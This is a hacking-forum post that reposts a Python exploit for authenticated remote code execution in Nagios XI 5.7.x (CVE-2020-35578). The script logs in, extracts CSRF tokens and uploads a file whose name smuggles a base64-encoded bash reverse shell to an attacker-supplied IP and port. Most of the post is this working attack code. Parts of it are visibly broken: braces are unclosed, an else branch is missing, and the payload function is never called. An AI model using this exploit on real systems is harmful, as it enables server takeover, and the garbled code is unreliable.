Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)


Recommended Posts

# Exploit Title: Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)
# Date: 19/12/2020
# Exploit Author: Haboob Team (https://haboob.sa)
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios XI 5.7.x
# Tested on: (Ubuntu 18.04 / PHP 7.2.24) & Vendor's custom VM
# CVE: CVE-2020-35578
# pip3 install bs4 lxml
import requests
import sys
import warnings
from bs4 import BeautifulSoup
import base64
import urllib3
if len(sys.argv) != 6:
    print("[~] Usage : python3 nagiosxi-rce.py http(s)://url username password reverse_ip reverse_port")
    print("[~] Example : python3 nagiosxi-rce.py nagiosadmin P@ssw0rd 443")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()

def login():
    # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
    nsp_str_req = request.get(url+"/nagiosxi/login.php", verify=False)
    content = nsp_str_req.text
    soup = BeautifulSoup(content, "lxml")
    nsp_str = soup.find_all('input')[0].get('value')
    print("[+] Extract login nsp token : %s" % nsp_str)

    # Login
    login_info = {
    "nsp": nsp_str,
    "pageopt": "login",
    "username": username,
    "password": password
    login_request = request.post(url + "/nagiosxi/login.php", login_info, verify=False)
    login_text = login_request.text

    # Check Login Status
    if "Core Config Manager" in login_text:
        return True
        print("[-] Login ... Failed!")
        return False


def execute_payload():
    # Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
    print("[+] Request upload form ...")
    nsp_str_req = request.get(url+"/nagiosxi/admin/monitoringplugins.php", verify=False)
    content = nsp_str_req.text
    soup = BeautifulSoup(content, "lxml")
    nsp_str = soup.find_all('input')[1].get('value')
    print("[+] Extract upload nsp token : %s" % nsp_str)  

    # Payload Base64 Encoding
    payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
    payload_bytes = payload_decoded.encode('ascii')
    base64_bytes = base64.b64encode(payload_bytes)
    payload_encoded = base64_bytes.decode('ascii')
    payload = ";echo " + payload_encoded + " | base64 -d | bash;#"
    print("[+] Base64 encoded payload : %s" % payload)

    # Payload Execution
    multipart_form_data = {
    'upload': (None, '', None),
    'nsp': (None, nsp_str, None),
    'uploadedfile': (payload, 'whatever', 'text/plain'),
    'convert_to_unix': (None, '1', None),
    print("[+] Sending payload ...")
    print("[+] Check your nc ...")
    rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False)

if login():
    print("[+] Login ... Success!")
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...